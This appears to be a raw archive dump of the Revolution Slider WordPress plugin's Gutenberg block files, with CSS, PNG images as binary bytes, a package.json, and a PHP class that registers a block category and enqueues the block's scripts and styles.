  padding: 15px; }

.sliderImage.tp_premium .rs_lib_premium_lila,
.noSliderImage.tp_premium .rs_lib_premium_lila,
.sliderImage.tp_premium .rs_lib_premium_red,
.noSliderImage.tp_premium .rs_lib_premium_red {
  width: auto !important;
  height: auto !important;
  display: inline-block !important;
  vertical-align: top; }

.noSliderImage.tp_premium .rs_lib_premium_wrap {
  position: relative;
  top: auto;
  right: auto;
  height: 25px !important; }

.rs_n_ac_n .rs_lib_premium_lila {
  display: none; }

.rs_n_ac_n .rs_lib_premium_red {
  display: block; }

.rs_n_ac_n .rs_library_element:hover .rs_lib_premium_red,
.olibrary_item:hover .rs_n_ac_n .rs_lib_premium_red {
  display: none; }

.rs_n_ac_n .rs_library_element:hover .rs_lib_premium_red_hover,
.olibrary_item:hover .rs_n_ac_n .rs_lib_premium_red_hover {
  display: block; }

.rs_lib_premium_red_hover .material-icons,
.rs_lib_premium_red .material-icons {
  margin-right: 5px; }
PK�y3\T�2��Dincludes/shortcode_generator/gutenberg/dist/images/rs6_number_2x.pngnu�[����PNG


IHDRFF�Lu�tEXtSoftwareAdobe ImageReadyq�e<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Macintosh)" xmpMM:InstanceID="xmp.iid:F8CC22669BA211E99770D09E67525522" xmpMM:DocumentID="xmp.did:F8CC22679BA211E99770D09E67525522"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F8CC22649BA211E99770D09E67525522" stRef:documentID="xmp.did:F8CC22659BA211E99770D09E67525522"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>����dIDATx��[	pe�kz�d&���I‘J�V9��Re�-���u�U�@�-]��,o�b��Xu]��t��E��B!	L�I„I��LOO�~�3���t�����+$��f������}���_�~,�?��de�_,�!	Q ���dF�49��Ţ<c�0��;DE��$���0�c���ar�!�&{;��T������r���OE&L��CH$I�F8k�a�c3����;7�qqa�x�y�%$r�;�l�4E<�v{��Z{I�U�����Nl(X��N��
G,6�=����
+h�:�l�gg�ὃEQ/\H��~O�麊�?��\�|���0"Ju{z. q��(��?t���{�w���Y`�B���:C�~5ar�+�e".l}�XA�� D=�;q���شb�tE�_mk��_PlE�B�Dt�o�g��Ԝ�2Jl�x��Rϐ����h�4��ޱ�xOG(�e������#C1���3[�l��UV��;'�$��
�Y�57�W4~��ӽ���G�$7��lT��Ewm�(s�`����q�Ϳ��n�K��g��q�ݐ+��q;�L+�7(w��{���mϑ�t�D�^Ox񚺢r�ţI���a�6�D$�T�һ�(����SVm˝�t��D9십\?�hV��-����Ec��"t�'|�ܲ��݊ƨ >{�G":A�p!�$��lPc�"�RC9���Dܞ�ܛ�5+����>�+�s�����F�b�t5�[�:��b� H�O�$�PzU�@�h��BK���h��/m���:�H��MM��\,�#��Y��N��QV����*�,��"E�$/�GW=:c��|LCOp������l�;dX�Ub�hj�B6HI�Dn���ؤh�j�8\��$�Ĉ���7[F�䅡�Ѷ�g�|���OX]$�c�=ӽ�O�\I8M�|k�ˍC��	1r�ǥ�
"ϋ�Q>I��(4^|e������G�-6�1;T�/*��"ׯ�h�c�(��p\���e�'|%'iw�h����ۆ���|w=��8�dI�!a
T���IjVѩc#V;�y�h��h		(A�s�;M�*�	���˚�g�BS4�>��6H������C��N"��,5n*�"�>����ϰTh8��,�����Wj�,��� ţ��ȼ�ZE�'t�X�d���$GIH)0288���RL���
'��W�|�ܨ�i��� �}��u�j ����P��m�;Y�h1\ք�J�Fxp0�i��c��.(�b���+���I-�]$A�Ĝ��*��z�34�擁!o�3b�7����5���H�8Z
ABv�rT�G	��lּ�;40�l��5@

s���K-g�揷{~6���)q��l-��̺�b�:(䷔gd(�Yl�˨V�kxd�'j�fHS�_��V
��狭����E�]��.�@���)�BC�<#!��αœ�o}�,�,2�LR�f�g^]�h��<���=��r�
�����_܄�@V]��C��/KJQ�?�h$l�#���m�R7�O=I���5��M���'��o_4ȕTYE�J4��56.&<�z/��B.Ӄu)`�١]���Uf��I�!��	w]>Tsf���k�?T^��B"���A���l�B&E2"�1B�vR�+��t����U�`�p���ҪRu&�+�m��SB��I)�.��n�)AOH!U^mS,]�:���ma��PD��n��ɐ�H�"�9w���VT���:nP@�g6k��C�є�Q��}�ȗ��k��*��Z���A4@B�[쬳Da˨�6�mE��(C�'��J�����rK����u����Җ��@���+�^��
s�|S��dm��FO/���x,	���pԶ	�����%��~kI�3
�3B�hf���5�m����%�Hu@���0$?�L���&�J{SDٛ�2*��@�U�PlFB�`4����ʛ�F�C�$	p��~��B�Xr�;���9e�~*�z�
����z`���UMt�2�4�.�����U�\�Cm�S�%����c�j!Y�l��%�)_~���*�Ԁ�
-^]�P*��
JOz�es�'���8x&��e*��]/��{���`�Ζ�+U-[;UA:�o�t�^/a�D��g��-�>=k�/k��U�7q�然������7_���P���!$	���X�=���*�Ԙs������XWrRL7�E,���H$�X����-W#����f�@��xdd
�Lf��-`w�l(��.�[Κh�/�$\<�����4�b�#�7�n
�by|�v��-���<&�]w^�K�j��H0��r��׫�<?W�v�DY�VT�m*ښ�V�WJ�CW����{���:|���|k��W���Ć����߿��+T;͉R W�VDN���]=�=�-��k�����$�&<DV{�de�}��w��-wxP����@�x�E�k��/��HM��y�j�B�����Ub��Z���1�wk�A�{vt
y�3�)c�l�#A��`��?TXf�s�Yb�R���;���{��^`��w���{���s��ʚ<�Ր�q��!��F�*1�F?��i?�G���#��ǚ�^}�Ц�
��M�W�:/��}�D�89
�,ܵ�Co�׬y��//���P�c���C�~�no��^���q6L��OL���D<v�s<в�g�K�.U��uW���0�he�,!��O��§ZG [�=a�!�r��rL�zА�xq4��B��2���H�N<��ґQA�CU�Ci�����a�u����ԑ�t���~RI�C��x��6ԋ',IEND�B`�PK�y3\ᮇ)Bincludes/shortcode_generator/gutenberg/dist/images/rs6_logo_2x.pngnu�[����PNG


IHDR�<X7]tEXtSoftwareAdobe ImageReadyq�e<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Macintosh)" xmpMM:InstanceID="xmp.iid:F8CC22629BA211E99770D09E67525522" xmpMM:DocumentID="xmp.did:F8CC22639BA211E99770D09E67525522"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:B5C0FBFF9B6011E99770D09E67525522" stRef:documentID="xmp.did:B5C0FC009B6011E99770D09E67525522"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>q.�IDATx��]wp\��]Q�'ٲl��6�l8� pf5dH��	L�dB�B��d�,H(�$(�L[��A��e�@.�eI'��5���Ň����ݽӕ�iv�����~�[���L2)�ړ^��cA[�/"�9�&����V�F�Ѷ����݂��,v�Z_�d�X,�}+��䭌7����I�O�|~�%�w��j�摹 ^%�Q���Gp�s��f�75݆-a�o�kd���\7�9�&}Yd2�UR҂v�so�k������=�w���ϋ�<�"p_q�*>Չ��[m�i�ٗ�⮧OW�߲�u���-H����LF���{�s�x!o�9���\/��%�lPګ	5ʖ��5GQ:n�^!u��՟+�wT�����~���'2�����?�RE��Ҕ��fž��
GMS���ւ��٘��
���q
I��|<��
�i3��
��E��(;ցk�/u�w�3�7%ºo(%�� ���A�Lb�:�%�	��{h�߹�y��[/7���V̘�q�s0;#d̘L�V�$�Ɖ�jW��Z-8��KO���gz��F�+���p�Aϩ1��5��6�7��x|��	tw�[K���ͽز�
�ff�*��Z@)�&�Z��u=L�0l��8K�Jr�ĝ
A-�=�����W�����6!� �q����r|�(%�~�JުM�'ec�ϱ>k���;C^�2���r��3;����WL�ؘ��*�"��d�Y��9�kx�Im9ߴ��0�%�fĦ�T�\�4�����߻����U�����W<�m46n|��۶�E��'b'*5p@�s k���PI�3Y����On?N�u/4�i���(D�ZuL8�-���Z#�ͥ�P~nr��tᖇVHm����G��xNv�b����,���	�E"bYN�J��.��B�'�0N<�X�mT��v��F^aZԒ�a�p	7�4��
��0�zhBG3�D��̆b���8�p��H������ރ������&���3���\��
ԺƓls�װy�<��ݯvv��Jq�y���y�[X�tN~jT�5�kM��$0�q$'�A�x%s�y�D_����č�(�K��:*���>����X�U0
^&E�9D���{E��fK]��}�Xrfv��s#�!����pU :I�&ž] ��/�����ٸ��r�wG7>y���r��`1�
ĨD�Y\CQ���o�1�})]p�����7�cvy��5O���2෷����:���9���ѯ7�H��β�/H7禎0@�,1�Z6�D��/�qpKN����[(u�֏��5?�y	RӬ̜7<4��]��U�܏ʆ��aCAQ{F��K�B���ԫ���V�Q2��\�5D�'�.��7�nl69�yh_~��%(����_{��qq)��B�.|�z6�Y�)(���P) �uNH
��Z�['�2�S�f�w,,S���&�	2���o�1-:w(��"�4�*�K]��>�AED�+H��m�+����o(@NI�a�l,9�g}��тu��Ʈ��8��p�HX�é��c�,%�5�>�Z���Z9�ɪN1��f�6^w�Rd�H]�Y'��"�[���@�S#"p���`��V?��k�O�V⇷�B.�0�,��`Z�4�pf����A�b��L-����]/龭8�U�3.�+uɁ�^VН��p����Ɓl�~&n<���t��nE�='���о���#�O$,�[Z�M�w�z��j���Z�]��L�j
c�^�$�wU��5���"=����>���I�W�5���SRmL'��W�b1�>�
�'�W8
�5����QD��A&�t=�j�z
62q��*q}��z�?WG���HE�i��1YFh�w���N+�4\���g�c�X]�g�{��b�-����ԔS,��p��1����+�q�в���=F�`�V�9WN�Zw�DK��sy��Թ*�bF�"�۶��ߴ�K�T��e�,Ք����M[���b�#qz��,�N1r������ӏ[m��ǡ���^}߉�j%��ue�JA�`YqH�����Xe��Y?n��DŽ�0>6�"���Ãc��ԃ��c��CL$�p�՘�U���%\��%�N=����87&_0�*wP��k�X�{�y�W��/B�`��Po�S�-�UH�*%�Rb�*%U�Xzj�;EN|~��x����{aK�0z��Lֈ+S��:p����6#�0��~}���,L'�~���sy)N>��a�� ����LЍL�.3�E�vc���R}�6�ڻ?e\��_:��_⥟���.������߄�W�����3f	.l�0.,87љ�c�[zl䮘�G+�r�&r�,YjSJ8��Y�+���?V@f�
u���rS1�,��?azr��Ak�~�_L4Wy�����r��kx}��p�UI��i�•��KZ�M{�k]}�F+�N�W��7���h�?�������Vb���0�<���`��.wX��%��I^�ԯ�c�L�w-ƹ)�����s�KY�׿�aZ�b���N(\8��c��,N���'߇t�y���3��b�nu�N�N&�Y�<!�J�$��]�SL	
�#z
gd��GA�ۻ��*�O��;�Ld��B/Q�,�_k%{���o�uZ�;�Mk�8Z��0��q�=�6�}b�"�\���D�X�|,�"�~��L2�ҳɷK�:���@Dg(�)`Wq�<�Ȥ$��%Y��FY��Y]1��rh��Y-!�Ȉ�'��jN�I�Hȑa��ġ�Z��B<�Q,s����M���Dܗ�ި�x��,df�0.�y���P����������	`�����v�ǡ��!�Q��K�mj�
F����.�W�۶���#�6�$	��>:�����ٗ���;-\�h���i,>Z�(�?#�n�$���[����,�^�μd.ξ���S�T� NMa��I�p�	����ۺu��`4[�͡4�J�
ޒr�b
�\G��@��
&S�YJ�
(�F�s[';|������S$��8����)�_6١��C%�SE��oz�(�L|-i�ZL�N���Ty��I��*�����ጓxg�ʺ���X�řx��tT�;cN6|�,v�h�����Z�_�����;N�*��z�������� q��c��j � �g%���*ĵ���ګE�U�
�n��)+ʍ�_@��1[dn
T�A&�'�$���D�(Տ���6���_8O�{>μx.���l�bOc�_��wc��������Ϳ_.uO�����b��zHFk:U06���?#T�Zp�����V�O-_���DJ��J�'b��Q�PIY^{v.���(�QAQ:P8�v|�Q�F�X���i����(t��md/�����5{�ppY�Y��T��@�>��y��}�QXN/Ez�jc7d�$;��O�Հ{�?C��E˧����6���"����F�I⒑\8��-��j���Dw%��"=Nkp�~Z���]��NOx���=w�Y�a��
����Od]� ���s��IQ��u�v$Ɉq�rQۍ8;܍���e��;>���|��v�z�萓��1+2vr])��7�1�!�1�҃�=�بq��sW�S2�G-)�}�6���\���������L�=�������ހ�j=�l� �1��|����ef�J��d҇gf���Oq��S�G,KCcx���bM�;là�z��P�X	mE邹�d7a��(>�E�0�)^�Ʃ�o�qw�;�Ôx�`iv|ڎ_]�yp3<[�tߓ�5׿�M�7��ߚ0�\���J�DvN(\;ˣ���]��,�$����8��[���q��X⬤�H�'.���G�b�s��Et��Y8v�t��q˔����|�����@K;��j_�כ:���w*|�u8R�L��Epo5k�SS�6�=N�=U�8�	F��4�d��j���><�*s�)�EIY.+�Β�{Sp�V{�u����Qv�Ռ&CY$��
`q����
1Z��ŷX��ȭaS���\l��beA=N�|�p#^��N,��;�D�֖^R���)K�����)VV��R���0OLL�Vɉ�N�N#�h'����ؽ6�H(��F����/��ԃX ����O��si,�H�%?2�v�]�ÌS�UD�XaV3��'�ѭ"X�#�h-�^ԣ����Ă\�U�5I���~�=b�Zg4�)�n�$��
`Q��-�(���Բ��
~�V=Sԥ��7� ]�x]�� 5�9C\#�_�Vqn�u�#1Njc������WBdN~��IEND�B`�PK�y3\�ƹ�<includes/shortcode_generator/gutenberg/dist/images/index.phpnu�[���<?php // Silence is golden
PK�y3\�<��3includes/shortcode_generator/gutenberg/package.jsonnu�[���{
  "name": "revslider-gutenberg-cgb-guten-block",
  "version": "1.0.0",
  "private": true,
  "scripts": {
    "start": "cgb-scripts start",
    "build": "cgb-scripts build",
    "eject": "cgb-scripts eject"
  },
  "dependencies": {
    "cgb-scripts": "^1.17.0"
  }
}
PK�y3\;n
"��6includes/shortcode_generator/gutenberg/src/common.scssnu�[���/**
 * #.# Common SCSS
 *
 * Can include things like variables and mixins
 * that are used across the project.
*/

// Colors.
$black: rgb(41, 41, 41);
$white: #f4f4f4;
$gray: #dedede;
$green: #bada55;
$red: orangered;
PK�y3\��V>includes/shortcode_generator/gutenberg/src/gutenberg-block.phpnu�[���<?php
/**
 * Blocks Initializer
 *
 * Enqueue CSS/JS of all the blocks.
 *
 * @since   1.0.0
 * @package CGB
 */

// Exit if accessed directly.
if(!defined('ABSPATH')) exit();

if( ! class_exists( 'RevSliderGutenberg' ) ) {

	class RevSliderGutenberg {
		
		private $prefix;
		
		public function __construct($pre) {
			global $wp_version;
			
			$this->prefix = $pre;
			
			// add ThemePunch block category
			if(version_compare($wp_version, '5.8', '>=')){
				add_filter('block_categories_all', array($this, 'create_block_category'), 10, 2);
			}else{ //block_categories is deprecated since 5.8.0
				add_filter('block_categories', array($this, 'create_block_category'), 10, 2);
			}
			
			// Hook: Frontend assets.
			add_action( 'enqueue_block_assets', array( $this, 'revslider_gutenberg_cgb_block_assets' ) );
			
			// Hook: Editor assets.
			add_action( 'enqueue_block_editor_assets', array( $this, 'revslider_gutenberg_cgb_editor_assets' ) );
			
		}
		
		/**
		 * Check Array for Value Recursive
		 */
		private function in_array_r($needle, $haystack, $strict = false){
			if(is_array($haystack) && !empty($haystack)){
				foreach($haystack as $item){
					if(($strict ? $item === $needle : $item == $needle) || (is_array($item) && $this->in_array_r($needle, $item, $strict))){
						return true;
					}
				}
			}
		
			return false;
		}
		
		/**
		 * Add ThemePunch Gutenberg Block Category
		 */
		public function create_block_category($categories, $post) {
			
			if($this->in_array_r('themepunch', $categories)){
				return $categories;
			}

			return array_merge($categories, array(array('slug' => 'themepunch', 'title' => __('ThemePunch', 'revslider'))));
		}

		/**
		 * Enqueue Gutenberg block assets for both frontend + backend.
		 *
		 * @uses {wp-editor} for WP editor styles.
		 * @since 1.0.0
		 */
		public function revslider_gutenberg_cgb_block_assets() { // phpcs:ignore
			// Styles.
			wp_enqueue_style(
				'revslider_gutenberg-cgb-style-css', // Handle.
				plugins_url( $this->prefix . 'dist/blocks.style.build.css', dirname( __FILE__ ) ), // Block style CSS.
				array( 'wp-editor' ) // Dependency to include the CSS after it.
				// filemtime( plugin_dir_path( __DIR__ ) . 'dist/blocks.style.build.css' ) // Version: File modification time.
			);
		}

		/**
		 * Enqueue Gutenberg block assets for backend editor.
		 *
		 * @uses {wp-blocks} for block type registration & related functions.
		 * @uses {wp-element} for WP Element abstraction — structure of blocks.
		 * @uses {wp-i18n} to internationalize the block's text.
		 * @uses {wp-editor} for WP editor styles.
		 * @since 1.0.0
		 */
		public function revslider_gutenberg_cgb_editor_assets() { // phpcs:ignore
			// Scripts.
			wp_enqueue_script(
				'revslider_gutenberg-cgb-block-js', // Handle.
				plugins_url( $this->prefix . 'dist/blocks.build.js', dirname( __FILE__ ) ), // Block.build.js: We register the block here. Built with Webpack.
				array( 'wp-blocks', 'wp-i18n', 'wp-element', 'wp-editor' ), // Dependencies, defined above.
				// filemtime( plugin_dir_path( __DIR__ ) . 'dist/blocks.build.js' ), // Version: File modification time.
				true // Enqueue the script in the footer.
			);

			// Styles.
			wp_enqueue_style(
				'revslider_gutenberg-cgb-block-editor-css', // Handle.
				plugins_url( $this->prefix . 'dist/blocks.editor.build.css', dirname( __FILE__ ) ), // Block editor CSS.
				array( 'wp-edit-blocks' ) // Dependency to include the CSS after it.
				// filemtime( plugin_dir_path( __DIR__ ) . 'dist/blocks.editor.build.css' ) // Version: File modification time.
			);
		}
		
	}
	
}PK�y3\���GG4includes/shortcode_generator/gutenberg/src/blocks.jsnu�[���/**
 * Gutenberg Blocks
 *
 * All blocks related JavaScript files should be imported here.
 * You can create a new block folder in this dir and include code
 * for that block here as well.
 *
 * All blocks should be included here since this is the file that
 * Webpack is compiling as the input file.
 */

import './revslider';PK�y3\�ƹ�;includes/shortcode_generator/gutenberg/src/assets/index.phpnu�[���<?php // Silence is golden
PK�y3\ᮇ)Hincludes/shortcode_generator/gutenberg/src/assets/images/rs6_logo_2x.pngnu�[����PNG


IHDR�<X7]tEXtSoftwareAdobe ImageReadyq�e<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Macintosh)" xmpMM:InstanceID="xmp.iid:F8CC22629BA211E99770D09E67525522" xmpMM:DocumentID="xmp.did:F8CC22639BA211E99770D09E67525522"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:B5C0FBFF9B6011E99770D09E67525522" stRef:documentID="xmp.did:B5C0FC009B6011E99770D09E67525522"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>q.�IDATx��]wp\��]Q�'ٲl��6�l8� pf5dH��	L�dB�B��d�,H(�$(�L[��A��e�@.�eI'��5���Ň����ݽӕ�iv�����~�[���L2)�ړ^��cA[�/"�9�&����V�F�Ѷ����݂��,v�Z_�d�X,�}+��䭌7����I�O�|~�%�w��j�摹 ^%�Q���Gp�s��f�75݆-a�o�kd���\7�9�&}Yd2�UR҂v�so�k������=�w���ϋ�<�"p_q�*>Չ��[m�i�ٗ�⮧OW�߲�u���-H����LF���{�s�x!o�9���\/��%�lPګ	5ʖ��5GQ:n�^!u��՟+�wT�����~���'2�����?�RE��Ҕ��fž��
GMS���ւ��٘��
���q
I��|<��
�i3��
��E��(;ցk�/u�w�3�7%ºo(%�� ���A�Lb�:�%�	��{h�߹�y��[/7���V̘�q�s0;#d̘L�V�$�Ɖ�jW��Z-8��KO���gz��F�+���p�Aϩ1��5��6�7��x|��	tw�[K���ͽز�
�ff�*��Z@)�&�Z��u=L�0l��8K�Jr�ĝ
A-�=�����W�����6!� �q����r|�(%�~�JުM�'ec�ϱ>k���;C^�2���r��3;����WL�ؘ��*�"��d�Y��9�kx�Im9ߴ��0�%�fĦ�T�\�4�����߻����U�����W<�m46n|��۶�E��'b'*5p@�s k���PI�3Y����On?N�u/4�i���(D�ZuL8�-���Z#�ͥ�P~nr��tᖇVHm����G��xNv�b����,���	�E"bYN�J��.��B�'�0N<�X�mT��v��F^aZԒ�a�p	7�4��
��0�zhBG3�D��̆b���8�p��H������ރ������&���3���\��
ԺƓls�װy�<��ݯvv��Jq�y���y�[X�tN~jT�5�kM��$0�q$'�A�x%s�y�D_����č�(�K��:*���>����X�U0
^&E�9D���{E��fK]��}�Xrfv��s#�!����pU :I�&ž] ��/�����ٸ��r�wG7>y���r��`1�
ĨD�Y\CQ���o�1�})]p�����7�cvy��5O���2෷����:���9���ѯ7�H��β�/H7禎0@�,1�Z6�D��/�qpKN����[(u�֏��5?�y	RӬ̜7<4��]��U�܏ʆ��aCAQ{F��K�B���ԫ���V�Q2��\�5D�'�.��7�nl69�yh_~��%(����_{��qq)��B�.|�z6�Y�)(���P) �uNH
��Z�['�2�S�f�w,,S���&�	2���o�1-:w(��"�4�*�K]��>�AED�+H��m�+����o(@NI�a�l,9�g}��тu��Ʈ��8��p�HX�é��c�,%�5�>�Z���Z9�ɪN1��f�6^w�Rd�H]�Y'��"�[���@�S#"p���`��V?��k�O�V⇷�B.�0�,��`Z�4�pf����A�b��L-����]/龭8�U�3.�+uɁ�^VН��p����Ɓl�~&n<���t��nE�='���о���#�O$,�[Z�M�w�z��j���Z�]��L�j
c�^�$�wU��5���"=����>���I�W�5���SRmL'��W�b1�>�
�'�W8
�5����QD��A&�t=�j�z
62q��*q}��z�?WG���HE�i��1YFh�w���N+�4\���g�c�X]�g�{��b�-����ԔS,��p��1����+�q�в���=F�`�V�9WN�Zw�DK��sy��Թ*�bF�"�۶��ߴ�K�T��e�,Ք����M[���b�#qz��,�N1r������ӏ[m��ǡ���^}߉�j%��ue�JA�`YqH�����Xe��Y?n��DŽ�0>6�"���Ãc��ԃ��c��CL$�p�՘�U���%\��%�N=����87&_0�*wP��k�X�{�y�W��/B�`��Po�S�-�UH�*%�Rb�*%U�Xzj�;EN|~��x����{aK�0z��Lֈ+S��:p����6#�0��~}���,L'�~���sy)N>��a�� ����LЍL�.3�E�vc���R}�6�ڻ?e\��_:��_⥟���.������߄�W�����3f	.l�0.,87љ�c�[zl䮘�G+�r�&r�,YjSJ8��Y�+���?V@f�
u���rS1�,��?azr��Ak�~�_L4Wy�����r��kx}��p�UI��i�•��KZ�M{�k]}�F+�N�W��7���h�?�������Vb���0�<���`��.wX��%��I^�ԯ�c�L�w-ƹ)�����s�KY�׿�aZ�b���N(\8��c��,N���'߇t�y���3��b�nu�N�N&�Y�<!�J�$��]�SL	
�#z
gd��GA�ۻ��*�O��;�Ld��B/Q�,�_k%{���o�uZ�;�Mk�8Z��0��q�=�6�}b�"�\���D�X�|,�"�~��L2�ҳɷK�:���@Dg(�)`Wq�<�Ȥ$��%Y��FY��Y]1��rh��Y-!�Ȉ�'��jN�I�Hȑa��ġ�Z��B<�Q,s����M���Dܗ�ި�x��,df�0.�y���P����������	`�����v�ǡ��!�Q��K�mj�
F����.�W�۶���#�6�$	��>:�����ٗ���;-\�h���i,>Z�(�?#�n�$���[����,�^�μd.ξ���S�T� NMa��I�p�	����ۺu��`4[�͡4�J�
ޒr�b
�\G��@��
&S�YJ�
(�F�s[';|������S$��8����)�_6١��C%�SE��oz�(�L|-i�ZL�N���Ty��I��*�����ጓxg�ʺ���X�řx��tT�;cN6|�,v�h�����Z�_�����;N�*��z�������� q��c��j � �g%���*ĵ���ګE�U�
�n��)+ʍ�_@��1[dn
T�A&�'�$���D�(Տ���6���_8O�{>μx.���l�bOc�_��wc��������Ϳ_.uO�����b��zHFk:U06���?#T�Zp�����V�O-_���DJ��J�'b��Q�PIY^{v.���(�QAQ:P8�v|�Q�F�X���i����(t��md/�����5{�ppY�Y��T��@�>��y��}�QXN/Ez�jc7d�$;��O�Հ{�?C��E˧����6���"����F�I⒑\8��-��j���Dw%��"=Nkp�~Z���]��NOx���=w�Y�a��
����Od]� ���s��IQ��u�v$Ɉq�rQۍ8;܍���e��;>���|��v�z�萓��1+2vr])��7�1�!�1�҃�=�بq��sW�S2�G-)�}�6���\���������L�=�������ހ�j=�l� �1��|����ef�J��d҇gf���Oq��S�G,KCcx���bM�;là�z��P�X	mE邹�d7a��(>�E�0�)^�Ʃ�o�qw�;�Ôx�`iv|ڎ_]�yp3<[�tߓ�5׿�M�7��ߚ0�\���J�DvN(\;ˣ���]��,�$����8��[���q��X⬤�H�'.���G�b�s��Et��Y8v�t��q˔����|�����@K;��j_�כ:���w*|�u8R�L��Epo5k�SS�6�=N�=U�8�	F��4�d��j���><�*s�)�EIY.+�Β�{Sp�V{�u����Qv�Ռ&CY$��
`q����
1Z��ŷX��ȭaS���\l��beA=N�|�p#^��N,��;�D�֖^R���)K�����)VV��R���0OLL�Vɉ�N�N#�h'����ؽ6�H(��F����/��ԃX ����O��si,�H�%?2�v�]�ÌS�UD�XaV3��'�ѭ"X�#�h-�^ԣ����Ă\�U�5I���~�=b�Zg4�)�n�$��
`Q��-�(���Բ��
~�V=Sԥ��7� ]�x]�� 5�9C\#�_�Vqn�u�#1Njc������WBdN~��IEND�B`�PK�y3\�_yDincludes/shortcode_generator/gutenberg/src/assets/images/esglogo.pngnu�[����PNG


IHDRT<9BB6tEXtSoftwareAdobe ImageReadyq�e<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)" xmpMM:InstanceID="xmp.iid:8308F543AA6611E89CD589202D6E5AA1" xmpMM:DocumentID="xmp.did:8308F544AA6611E89CD589202D6E5AA1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:AFAB8F4EAA5A11E89CD589202D6E5AA1" stRef:documentID="xmp.did:8308F542AA6611E89CD589202D6E5AA1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�X~k
tIDATx��=l���)ʌ��DĊ>N��)Ҥ:Ւ�P���n�:��c:U�]R���XD)�T: E�8O�"	"��Xr�背D��.��*sÙ�~���{;3;���}o�ͬ���t��O0}���eLw1]���9Lk�G
AH� �ob�
��o�-LL�A!
��L�,@�{�mԆ�ܦ�Ԃ �M��ט~��跩"�[�,\��a���m�tI\~A�TlZ�tt����"�5TAҠ����.h�L����������K.B����.j�\rA�ԗ�������������%!MAADPADPADPU�~�k5��l�>2�ݽ�ϝ�����h��V�AuQ�� y�fJE�6D��O>	���9�s�z������r|�.\��f�)%B����7���O��п��+�������u+T9�׮��RIU����Z�<�GF�B��*��� nˢnA���.��xc`VXŷ�Jݏ۲�[!���瘖�:�eA�*�[ !
� t��.��Ҕ�uL�Z�2�%����e��#��T���R���վ��WuN���n*0J^�x�m�; �"�7c9�	�3h�W9���e�ο�<k�d�wz�����C�l����ۇ�Z~O%�k��TL�t�r��~o���"�B�)���wJSDC���6�*�Ȧ�;�7�zӜ *S�/�<Ǔ��x�$�a}]���Zy,�2L��<�p<��R_X1�P�h��Ί܆
�;�>�c�P��C��1�{�r�&,�1���T�ֺjx�?c+�'��.+e��<������"o�Us&�'��b�G1��v��WDk�����d��H��*��VG�r�ykE��y��4�j��Luhku�)���J��:n��*[���u��!'���0�8�D��`��;c�Y����6�&*,�du�q	~G.�lX1�|3��(��‡�,RLd-��y���Z�.$���~��;r$T�'w~��m��}�{�-]����e����e�i�)ߴ���=��g���ꎈ��aކP7�;�7�ʌ��D0��֔��S��߭��$�3>q����L�lVR�b����qԀ���O�;�x�Ƿo�����qz�۞�w�^y%pY�ĺ=�6x���m�j���d��h�tSO�͖T^�
��M<F�6Ahغ�ք�lh�l�>w�����W|��y��mĢJז�T���Gv��}�ls:iP1�éS���h�]�E��Ҷ���j��:��u7����yg��&+�‚�O-��I2��Np�}��N�_��q�#�i��Ռ��;���Jsn�ӡ��PMQ�>�M�gcuVХ�Z��b�&_�]��^}�;:
������������oބ�-y��#1�Q��k��Z6��X3��
���*���vSW�F���Y���r�aDi	*��~����/s�Cf猭��塘��ZC�.��>�ML$��1=���+("�����,���0��)��m����u��d/�e�+5�Ywh��l���8ym�—v*r����\	���o�pQ��A�A��E<��2:��{�ګXCq�79�b�Z�����,X�{���+��i��������EUql�5��7i!��ٺͻ�Zv������Hz���|���/:����
